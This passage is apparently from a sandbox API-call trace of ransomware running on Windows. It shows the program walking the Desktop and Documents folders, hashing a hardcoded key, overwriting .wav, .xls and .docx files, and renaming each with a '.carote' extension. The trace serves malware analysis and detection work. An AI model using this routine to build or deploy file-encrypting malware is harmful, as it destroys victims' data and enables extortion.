(HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.316] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x79f8730 [0113.316] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.316] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\r6veYprPQ4QpJN3.wav") returned=".wav" [0113.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\r6veYprPQ4QpJN3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\r6veyprpq4qpjn3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.317] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=11600) returned 1 [0113.317] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.319] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.319] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.320] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.320] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.321] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.321] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2d50, lpOverlapped=0x0) returned 1 [0113.321] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.321] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.321] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.321] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.321] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.322] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.322] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.322] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.322] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.322] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.322] GetLastError () returned 0x0 [0113.322] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.322] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.322] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.322] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2d50) returned 0x7b182e0 [0113.322] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.322] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.323] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x2d4b, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x2d4b, lpOverlapped=0x0) returned 1 [0113.323] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.323] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2d50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.323] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.323] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.323] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.323] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.323] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.323] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.323] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.323] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.323] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.323] CloseHandle (hObject=0x61c) returned 1 [0113.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.324] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.324] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.324] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\r6veYprPQ4QpJN3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\r6veyprpq4qpjn3.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\r6veYprPQ4QpJN3.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\r6veyprpq4qpjn3.wav.carote")) returned 1 [0113.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.325] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.325] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.326] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e74650, ftCreationTime.dwHighDateTime=0x1d4c6f1, ftLastAccessTime.dwLowDateTime=0x5c29d8d0, ftLastAccessTime.dwHighDateTime=0x1d4d4c1, ftLastWriteTime.dwLowDateTime=0x5c29d8d0, ftLastWriteTime.dwHighDateTime=0x1d4d4c1, nFileSizeHigh=0x0, nFileSizeLow=0x2157, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z_tTpOnlGrL AwKioS0.xls", cAlternateFileName="Z_TTPO~1.XLS")) returned 1 [0113.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.326] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x79f8730 [0113.326] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\z_tTpOnlGrL AwKioS0.xls") returned=".xls" [0113.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\z_tTpOnlGrL AwKioS0.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\z_ttponlgrl awkios0.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.326] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=8535) returned 1 [0113.326] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.328] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2131, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.328] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.329] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.329] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.329] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.329] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x2157, lpOverlapped=0x0) returned 1 [0113.330] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.330] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.330] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.330] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.330] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.331] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.331] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.331] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.331] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.331] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.331] GetLastError () returned 0x0 [0113.331] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.331] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.331] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2160) returned 0x7b182e0 [0113.331] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.331] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x2152, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x2152, lpOverlapped=0x0) returned 1 [0113.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.331] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2157, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.331] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.331] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.331] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.331] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.331] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.332] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.332] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.332] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.332] CloseHandle (hObject=0x61c) returned 1 [0113.332] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.332] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.332] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\z_tTpOnlGrL AwKioS0.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\z_ttponlgrl awkios0.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\hIl-xN3DRO3pVP\\z_tTpOnlGrL AwKioS0.xls.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jilyw4x cg7wzlvava\\hil-xn3dro3pvp\\z_ttponlgrl awkios0.xls.carote")) returned 1 [0113.333] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.333] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0113.334] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e74650, ftCreationTime.dwHighDateTime=0x1d4c6f1, ftLastAccessTime.dwLowDateTime=0x5c29d8d0, ftLastAccessTime.dwHighDateTime=0x1d4d4c1, ftLastWriteTime.dwLowDateTime=0x5c29d8d0, ftLastWriteTime.dwHighDateTime=0x1d4d4c1, nFileSizeHigh=0x0, nFileSizeLow=0x2157, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z_tTpOnlGrL AwKioS0.xls", cAlternateFileName="Z_TTPO~1.XLS")) returned 0 [0113.334] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.334] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.334] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.334] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.334] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.335] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.335] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\") returned="yc2hVUR2 YKnU\\" [0113.335] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.335] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\") returned="BXteOBXIuKySqXgo0\\" [0113.335] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0113.336] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.336] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.336] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.336] PathFindFileNameW (pszPath="") returned="" [0113.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.337] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.337] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e1cc10, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0xe13b4c20, ftLastAccessTime.dwHighDateTime=0x1d4d039, ftLastWriteTime.dwLowDateTime=0xe13b4c20, ftLastWriteTime.dwHighDateTime=0x1d4d039, nFileSizeHigh=0x0, nFileSizeLow=0xb054, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5TtF1NQ8K10bBmnwe.docx", cAlternateFileName="5TTF1N~1.DOC")) returned 1 [0113.337] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\5TtF1NQ8K10bBmnwe.docx") returned=".docx" [0113.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\yc2hVUR2 YKnU\\5TtF1NQ8K10bBmnwe.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bxteobxiukysqxgo0\\yc2hvur2 yknu\\5ttf1nq8k10bbmnwe.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.338] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=45140) returned 1 [0113.338] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.340] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb02e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.340] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.341] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb054, lpOverlapped=0x0) returned 1 [0113.342] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.342] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.342] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.342] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.343] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.343] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.343] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.343] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, 